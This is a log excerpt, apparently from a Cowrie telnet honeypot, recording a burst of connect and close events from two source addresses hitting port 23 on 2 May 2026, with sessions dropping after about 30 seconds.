{"eventid":"cowrie.session.closed","duration":30.638099431991577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:05.153158Z","src_ip":"208.115.219.122","session":"0c15c67e4cb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49174,"dst_ip":"10.17.0.5","dst_port":23,"session":"34df660d4b56","protocol":"telnet","message":"New connection: 208.115.219.122:49174 (10.17.0.5:23) [session: 34df660d4b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:05.228635Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49222,"dst_ip":"10.17.0.5","dst_port":23,"session":"68cd5d1b0a4f","protocol":"telnet","message":"New connection: 208.115.219.122:49222 (10.17.0.5:23) [session: 68cd5d1b0a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:05.276330Z"}
{"eventid":"cowrie.session.closed","duration":31.31981372833252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:05.377182Z","src_ip":"208.115.219.122","session":"4cc366724b23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45751953125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:05.470182Z","src_ip":"208.115.219.122","session":"4aecafa4ee55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41860,"dst_ip":"10.17.0.5","dst_port":23,"session":"129d4ef3764f","protocol":"telnet","message":"New connection: 208.115.200.90:41860 (10.17.0.5:23) [session: 129d4ef3764f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:05.626673Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49704,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a0b4632a32c","protocol":"telnet","message":"New connection: 208.115.219.122:49704 (10.17.0.5:23) [session: 9a0b4632a32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:05.776670Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49748,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c6fba74901b","protocol":"telnet","message":"New connection: 208.115.219.122:49748 (10.17.0.5:23) [session: 0c6fba74901b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:05.804654Z"}
{"eventid":"cowrie.session.closed","duration":31.473121166229248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:05.976498Z","src_ip":"208.115.219.122","session":"bcf3c673ba3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49910,"dst_ip":"10.17.0.5","dst_port":23,"session":"f083123ae1b9","protocol":"telnet","message":"New connection: 208.115.219.122:49910 (10.17.0.5:23) [session: f083123ae1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:06.023257Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42180,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ecb3cc184ce","protocol":"telnet","message":"New connection: 208.115.200.90:42180 (10.17.0.5:23) [session: 3ecb3cc184ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:06.035798Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49896,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d9516a1c2de","protocol":"telnet","message":"New connection: 208.115.219.122:49896 (10.17.0.5:23) [session: 3d9516a1c2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:06.040077Z"}
{"eventid":"cowrie.session.closed","duration":30.776169061660767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:06.044648Z","src_ip":"208.115.219.122","session":"1fa9f1b2748d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49920,"dst_ip":"10.17.0.5","dst_port":23,"session":"54c49c249229","protocol":"telnet","message":"New connection: 208.115.219.122:49920 (10.17.0.5:23) [session: 54c49c249229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:06.059559Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49926,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd8647a23a14","protocol":"telnet","message":"New connection: 208.115.219.122:49926 (10.17.0.5:23) [session: cd8647a23a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:06.075758Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49930,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f0143869607","protocol":"telnet","message":"New connection: 208.115.219.122:49930 (10.17.0.5:23) [session: 3f0143869607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:06.085011Z"}
{"eventid":"cowrie.session.closed","duration":30.323198556900024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:06.112922Z","src_ip":"208.115.219.122","session":"aa3470f7079f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49942,"dst_ip":"10.17.0.5","dst_port":23,"session":"f21e715862f4","protocol":"telnet","message":"New connection: 208.115.219.122:49942 (10.17.0.5:23) [session: f21e715862f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:06.153667Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42186,"dst_ip":"10.17.0.5","dst_port":23,"session":"928602250c45","protocol":"telnet","message":"New connection: 208.115.200.90:42186 (10.17.0.5:23) [session: 928602250c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:06.175698Z"}
{"eventid":"cowrie.session.closed","duration":30.56739830970764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:06.185497Z","src_ip":"208.115.219.122","session":"6f34524fa8f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42192,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb0ee0364bff","protocol":"telnet","message":"New connection: 208.115.200.90:42192 (10.17.0.5:23) [session: bb0ee0364bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:06.252084Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42200,"dst_ip":"10.17.0.5","dst_port":23,"session":"b74a4a07beb3","protocol":"telnet","message":"New connection: 208.115.200.90:42200 (10.17.0.5:23) [session: b74a4a07beb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:06.257501Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49960,"dst_ip":"10.17.0.5","dst_port":23,"session":"7805219b1ec9","protocol":"telnet","message":"New connection: 208.115.219.122:49960 (10.17.0.5:23) [session: 7805219b1ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:06.361093Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49970,"dst_ip":"10.17.0.5","dst_port":23,"session":"231b1a984077","protocol":"telnet","message":"New connection: 208.115.219.122:49970 (10.17.0.5:23) [session: 231b1a984077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:06.384855Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42376,"dst_ip":"10.17.0.5","dst_port":23,"session":"9345bd6bffcd","protocol":"telnet","message":"New connection: 208.115.200.90:42376 (10.17.0.5:23) [session: 9345bd6bffcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:06.555540Z"}
{"eventid":"cowrie.session.closed","duration":30.793812036514282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.012866Z","src_ip":"208.115.219.122","session":"7844d5867ec1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50378,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef4beca65918","protocol":"telnet","message":"New connection: 208.115.219.122:50378 (10.17.0.5:23) [session: ef4beca65918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.039118Z"}
{"eventid":"cowrie.session.closed","duration":30.982152462005615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.046927Z","src_ip":"208.115.219.122","session":"7ac07a4a4691","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.678511142730713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.050831Z","src_ip":"208.115.219.122","session":"17d5431fc5de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50390,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b5be47bd1d3","protocol":"telnet","message":"New connection: 208.115.219.122:50390 (10.17.0.5:23) [session: 7b5be47bd1d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.065216Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50400,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca6b6be467f9","protocol":"telnet","message":"New connection: 208.115.219.122:50400 (10.17.0.5:23) [session: ca6b6be467f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.069474Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50416,"dst_ip":"10.17.0.5","dst_port":23,"session":"f20c6211f5e2","protocol":"telnet","message":"New connection: 208.115.219.122:50416 (10.17.0.5:23) [session: f20c6211f5e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.073511Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42798,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b6a5a3f0a8f","protocol":"telnet","message":"New connection: 208.115.200.90:42798 (10.17.0.5:23) [session: 1b6a5a3f0a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.077792Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50436,"dst_ip":"10.17.0.5","dst_port":23,"session":"23e72a2630e4","protocol":"telnet","message":"New connection: 208.115.219.122:50436 (10.17.0.5:23) [session: 23e72a2630e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.090261Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50440,"dst_ip":"10.17.0.5","dst_port":23,"session":"793c1e04ae30","protocol":"telnet","message":"New connection: 208.115.219.122:50440 (10.17.0.5:23) [session: 793c1e04ae30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.110402Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50458,"dst_ip":"10.17.0.5","dst_port":23,"session":"106cee21bcb7","protocol":"telnet","message":"New connection: 208.115.219.122:50458 (10.17.0.5:23) [session: 106cee21bcb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.165181Z"}
{"eventid":"cowrie.session.closed","duration":31.11607336997986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.202304Z","src_ip":"208.115.219.122","session":"29300ba729ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.000069856643677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.213340Z","src_ip":"208.115.219.122","session":"9c1193fdff83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.696229696273804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.232683Z","src_ip":"208.115.219.122","session":"90fe4c74407c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.318253993988037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.334937Z","src_ip":"208.115.219.122","session":"4dd872bc74ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42860,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bd45e2a5f92","protocol":"telnet","message":"New connection: 208.115.200.90:42860 (10.17.0.5:23) [session: 8bd45e2a5f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.365296Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50606,"dst_ip":"10.17.0.5","dst_port":23,"session":"d33267221368","protocol":"telnet","message":"New connection: 208.115.219.122:50606 (10.17.0.5:23) [session: d33267221368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.400440Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50658,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c01946a517c","protocol":"telnet","message":"New connection: 208.115.219.122:50658 (10.17.0.5:23) [session: 4c01946a517c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.455327Z"}
{"eventid":"cowrie.session.closed","duration":31.62634253501892,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:07.699464Z","src_ip":"208.115.219.122","session":"4a563736b818","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.663410663604736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:08.017570Z","src_ip":"208.115.219.122","session":"d7ef03b16a8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.885011911392212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:08.028562Z","src_ip":"208.115.219.122","session":"f6df7e557445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51178,"dst_ip":"10.17.0.5","dst_port":23,"session":"83dc2a0d2cde","protocol":"telnet","message":"New connection: 208.115.219.122:51178 (10.17.0.5:23) [session: 83dc2a0d2cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:08.042921Z"}
{"eventid":"cowrie.session.closed","duration":30.611340045928955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:08.054577Z","src_ip":"208.115.219.122","session":"4e7859205cff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43608,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8ea07c22ccf","protocol":"telnet","message":"New connection: 208.115.200.90:43608 (10.17.0.5:23) [session: e8ea07c22ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:08.100318Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43624,"dst_ip":"10.17.0.5","dst_port":23,"session":"c52597bff8f1","protocol":"telnet","message":"New connection: 208.115.200.90:43624 (10.17.0.5:23) [session: c52597bff8f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:08.201624Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51336,"dst_ip":"10.17.0.5","dst_port":23,"session":"1908017a742a","protocol":"telnet","message":"New connection: 208.115.219.122:51336 (10.17.0.5:23) [session: 1908017a742a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:08.232619Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43644,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a8e1aea6a44","protocol":"telnet","message":"New connection: 208.115.200.90:43644 (10.17.0.5:23) [session: 7a8e1aea6a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:08.289153Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43658,"dst_ip":"10.17.0.5","dst_port":23,"session":"19194e10057c","protocol":"telnet","message":"New connection: 208.115.200.90:43658 (10.17.0.5:23) [session: 19194e10057c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:08.316521Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51488,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c725d2ba942","protocol":"telnet","message":"New connection: 208.115.219.122:51488 (10.17.0.5:23) [session: 2c725d2ba942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:08.382199Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43694,"dst_ip":"10.17.0.5","dst_port":23,"session":"a452c750defe","protocol":"telnet","message":"New connection: 208.115.200.90:43694 (10.17.0.5:23) [session: a452c750defe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:08.438843Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43706,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e7d82a25914","protocol":"telnet","message":"New connection: 208.115.200.90:43706 (10.17.0.5:23) [session: 1e7d82a25914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:08.444908Z"}
{"eventid":"cowrie.session.closed","duration":31.552839040756226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:08.653175Z","src_ip":"208.115.219.122","session":"76298be556e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52086,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b69d21efc8b","protocol":"telnet","message":"New connection: 208.115.219.122:52086 (10.17.0.5:23) [session: 3b69d21efc8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:09.028883Z"}
{"eventid":"cowrie.session.closed","duration":30.603426694869995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:09.035166Z","src_ip":"208.115.219.122","session":"234442a17dbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832786560058594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:09.053111Z","src_ip":"208.115.219.122","session":"f07d9a83e46b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52346,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dd03704eaf3","protocol":"telnet","message":"New connection: 208.115.219.122:52346 (10.17.0.5:23) [session: 0dd03704eaf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:09.252561Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52340,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c9687e00a04","protocol":"telnet","message":"New connection: 208.115.219.122:52340 (10.17.0.5:23) [session: 6c9687e00a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:09.258381Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52414,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1a531c3449c","protocol":"telnet","message":"New connection: 208.115.219.122:52414 (10.17.0.5:23) [session: a1a531c3449c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:09.343185Z"}
{"eventid":"cowrie.session.closed","duration":31.08040761947632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:09.349447Z","src_ip":"208.115.219.122","session":"03395a599cf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44146,"dst_ip":"10.17.0.5","dst_port":23,"session":"10babaefd9d0","protocol":"telnet","message":"New connection: 208.115.200.90:44146 (10.17.0.5:23) [session: 10babaefd9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:09.388556Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44394,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f0040edfa05","protocol":"telnet","message":"New connection: 208.115.200.90:44394 (10.17.0.5:23) [session: 6f0040edfa05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:09.628500Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44538,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcdcbe933309","protocol":"telnet","message":"New connection: 208.115.200.90:44538 (10.17.0.5:23) [session: bcdcbe933309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:09.779438Z"}
{"eventid":"cowrie.session.closed","duration":31.542728662490845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:09.832965Z","src_ip":"208.115.219.122","session":"ec7639d062d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39913845062256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:10.015261Z","src_ip":"208.115.219.122","session":"80d15f863d72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.004136085510254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:10.023237Z","src_ip":"208.115.219.122","session":"7ca7af3c365f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.695568561553955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:10.051646Z","src_ip":"208.115.219.122","session":"4f19bbfe0f75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52926,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f1c5bc0f953","protocol":"telnet","message":"New connection: 208.115.219.122:52926 (10.17.0.5:23) [session: 0f1c5bc0f953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:10.110475Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52942,"dst_ip":"10.17.0.5","dst_port":23,"session":"eecad54cdd5c","protocol":"telnet","message":"New connection: 208.115.219.122:52942 (10.17.0.5:23) [session: eecad54cdd5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:10.124759Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52944,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6b31f51dacb","protocol":"telnet","message":"New connection: 208.115.219.122:52944 (10.17.0.5:23) [session: e6b31f51dacb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:10.128790Z"}
{"eventid":"cowrie.session.closed","duration":30.960008144378662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:10.207192Z","src_ip":"208.115.219.122","session":"a689bd37cd9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44684,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcbe5c53f044","protocol":"telnet","message":"New connection: 208.115.200.90:44684 (10.17.0.5:23) [session: dcbe5c53f044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:10.339155Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53024,"dst_ip":"10.17.0.5","dst_port":23,"session":"f16038bf4417","protocol":"telnet","message":"New connection: 208.115.219.122:53024 (10.17.0.5:23) [session: f16038bf4417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:10.608785Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44842,"dst_ip":"10.17.0.5","dst_port":23,"session":"4597820f0dce","protocol":"telnet","message":"New connection: 208.115.200.90:44842 (10.17.0.5:23) [session: 4597820f0dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:10.613983Z"}
{"eventid":"cowrie.session.closed","duration":30.95374345779419,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:10.721813Z","src_ip":"208.115.219.122","session":"709870a506bd","protocol":"telnet"}
